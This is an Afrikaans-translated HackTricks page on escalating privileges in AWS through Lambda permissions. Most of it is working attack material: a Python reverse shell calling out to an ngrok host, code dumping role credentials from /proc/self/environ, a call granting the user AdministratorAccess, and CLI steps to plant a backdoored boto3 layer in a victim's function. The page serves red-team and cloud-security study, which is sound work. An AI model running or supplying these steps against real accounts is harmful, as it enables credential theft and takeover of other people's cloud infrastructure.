AWS - Lambda Privesc

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

lambda

Meer inligting oor lambda in:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Gebruikers met die iam:PassRole, lambda:CreateFunction, en lambda:InvokeFunction-permissies kan hul voorregte eskaleer. Hulle kan 'n nuwe Lambda-funksie skep en dit 'n bestaande IAM-rol toewys, wat die funksie die toestemmings gee wat met daardie rol geassosieer word. Die gebruiker kan dan kode skryf en oplaai na hierdie Lambda-funksie (met 'n omgekeerde skul vir byvoorbeeld). Sodra die funksie opgestel is, kan die gebruiker sy uitvoering trigger en die beoogde aksies uitvoer deur die Lambda-funksie deur die AWS API aan te roep. Hierdie benadering laat die gebruiker effektief toe om take indirek deur die Lambda-funksie uit te voer, wat werk met die vlak van toegang wat aan die IAM-rol wat daarmee geassosieer is, verleen is.\

'n Aanvaller kan dit misbruik om 'n omgekeerde skul te kry en die token te steel:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Jy kan ook misbruik maak van die lambda rol-permissies van die lambda-funksie self. As die lambda rol genoeg permissies het, kan jy dit gebruik om admin-regte aan jou toe te ken:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Dit is ook moontlik om die lambda se rol-kredensiale te lek sonder 'n eksterne verbinding nodig te hê. Dit sou nuttig wees vir Netwerk geïsoleerde Lambdas wat gebruik word vir interne take. As daar onbekende sekuriteitsgroepe is wat jou omgekeerde doppe filtreer, sal hierdie stuk kode jou toelaat om die kredensiale direk te lek as die uitset van die lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potensiële Impak: Direkte privesc na die willekeurige lambda-diensrol wat gespesifiseer is.

Let daarop dat selfs al lyk dit interessant lambda:InvokeAsync nie op eie houtjie toelaat om aws lambda invoke-async uit te voer nie, jy benodig ook lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Net soos in die vorige scenario, kan jy jouself die lambda:InvokeFunction toestemming gee as jy die toestemming het vir lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potensiële Impak: Direkte privilige-escalation na die arbitrêre lambda-diensrol wat gespesifiseer is.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Gebruikers met iam:PassRole, lambda:CreateFunction, en lambda:CreateEventSourceMapping-permissies (en moontlik dynamodb:PutItem en dynamodb:CreateTable) kan indirek priviliges verhoog selfs sonder lambda:InvokeFunction. Hulle kan 'n Lambda-funksie met skadelike kode skep en dit toewys aan 'n bestaande IAM-rol.

In plaas van om die Lambda direk aan te roep, stel die gebruiker 'n nuwe DynamoDB-tabel op of gebruik 'n bestaande tabel, wat dit aan die Lambda koppel deur 'n gebeurtenisbronkartering. Hierdie opstelling verseker dat die Lambda-funksie outomaties geaktiveer word wanneer 'n nuwe item in die tabel ingeskryf word, of deur die gebruiker se aksie of 'n ander proses, wat dus die Lambda-funksie indirek aanroep en die kode uitvoer met die toestemmings van die oorgedraagde IAM-rol.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Indien DynamoDB reeds aktief is in die AWS-omgewing, moet die gebruiker net die gebeurtenisbronkartering vestig vir die Lambda-funksie. Indien DynamoDB nie gebruik word nie, moet die gebruiker 'n nuwe tabel skep met stroomaktivering:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Nou is dit moontlik om die Lambda-funksie aan die DynamoDB-tabel te koppel deur 'n gebeurtenisbronkartering te skep:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Met die Lambda-funksie wat aan die DynamoDB-stroom gekoppel is, kan die aanvaller die Lambda indirek aktiveer deur die DynamoDB-stroom te aktiveer. Dit kan bereik word deur 'n item in te voeg in die DynamoDB-tabel:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Potensiële Impak: Direkte privilige-escalation na die lambda-diensrol wat gespesifiseer is.

lambda:AddPermission

'n Aanvaller met hierdie toestemming kan homself (of ander) enige toestemmings toeken (dit genereer hulpbrongebaseerde beleide om toegang tot die hulpbron te verleen):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

Potensiële Impak: Direkte privilige-escalation na die lambda-diensrol deur toestemming te verleen om die kode te wysig en dit uit te voer.

lambda:AddLayerVersionPermission

'n Aanvaller met hierdie toestemming kan homself (of ander) die toestemming lambda:GetLayerVersion gee. Hy kan toegang verkry tot die laag en soek na kwesbaarhede of sensitiewe inligting.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potensiële Impak: Potensiële toegang tot sensitiewe inligting.

lambda:UpdateFunctionCode

Gebruikers wat die lambda:UpdateFunctionCode toestemming het, het die potensiaal om die kode van 'n bestaande Lambda funksie wat aan 'n IAM rol gekoppel is, te wysig. Die aanvaller kan die kode van die lambda wysig om die IAM-legitimasie te eksfiltreer.

Alhoewel die aanvaller moontlik nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en operasioneel is, is dit waarskynlik dat dit deur bestaande werkstrome of gebeure geaktiveer sal word, wat dus indirek die uitvoering van die gewysigde kode fasiliteer.

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Potensiële Impak: Direkte privesc na die lambda-diensrol wat gebruik word.

lambda:UpdateFunctionConfiguration

Inleiding

Lambda-lae maak dit moontlik om kode in jou lambda-funksie in te sluit, maar om dit afsonderlik te stoor, sodat die funksiekode klein kan bly en veral funksies kode kan deel.

Binne lambda kan jy die paaie nagaan van waar python-kode gelaai word met 'n funksie soos die volgende:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Hierdie is die plekke:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Uitbuiting

Dit is moontlik om die toestemming lambda:UpdateFunctionConfiguration te misbruik om 'n nuwe laag' by 'n lambda-funksie te voeg. Om arbitrêre kode uit te voer, moet hierdie laag 'n biblioteek bevat wat die lambda gaan invoer. As jy die kode van die lambda kan lees, kan jy dit maklik vind, let ook daarop dat dit moontlik is dat die lambda reeds 'n laag gebruik en jy die laag kan aflaai en jou kode daarin kan toevoeg.

Byvoorbeeld, laat ons aanneem dat die lambda die biblioteek boto3 gebruik, dit sal 'n plaaslike laag skep met die laaste weergawe van die biblioteek:

pip3 install -t ./lambda_layer boto3

Jy kan ./lambda_layer/boto3/__init__.py oopmaak en die agterdeur in die globale kode byvoeg ( 'n funksie om geloofsbriewe te eksfiltreer of 'n omgekeerde dop virbeeld).

Dan, zip daardie ./lambda_layer gids en laai die nuwe lambda-laag op in jou eie rekening (of in die slagoffers een, maar jy mag nie toestemmings hiervoor hê nie). Let daarop dat jy 'n python-gids moet skep en die biblioteke daarin moet plaas om /opt/python/boto3 te oorskryf. Ook moet die laag verenigbaar wees met die python-weergawe wat deur die lambda gebruik word en as jy dit na jou rekening oplaai, moet dit in dieselfde streek wees:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Maak nou die opgelaaide lambda-laag toeganklik vir enige rekening:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

En heg die lambda-laag aan die slagoffer-lambda-funksie:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Die volgende stap sou wees om die funksie self aan te roep as ons kan, of om te wag totdat dit aangeroep word op 'n normale manier - wat die veiliger metode is.

'n Meer sluipende manier om hierdie kwesbaarheid uit te buit kan gevind word in:

AWS - Lambda Layers Persistence

Potensiële Impak: Direkte privesc na die lambda-diensrol wat gebruik word.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Miskien kan jy met daardie toestemmings 'n funksie skep en dit uitvoer deur die URL te roep... maar ek kon nie 'n manier vind om dit te toets nie, so laat weet my as jy dit doen!

Lambda MitM

Sommige lambdas gaan sensitiewe inligting van die gebruikers in parameters ontvang. As jy RCE in een van hulle kry, kan jy die inligting wat ander gebruikers daarna stuur, uitlek, kyk daarna in:

AWS - Steal Lambda Requests

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated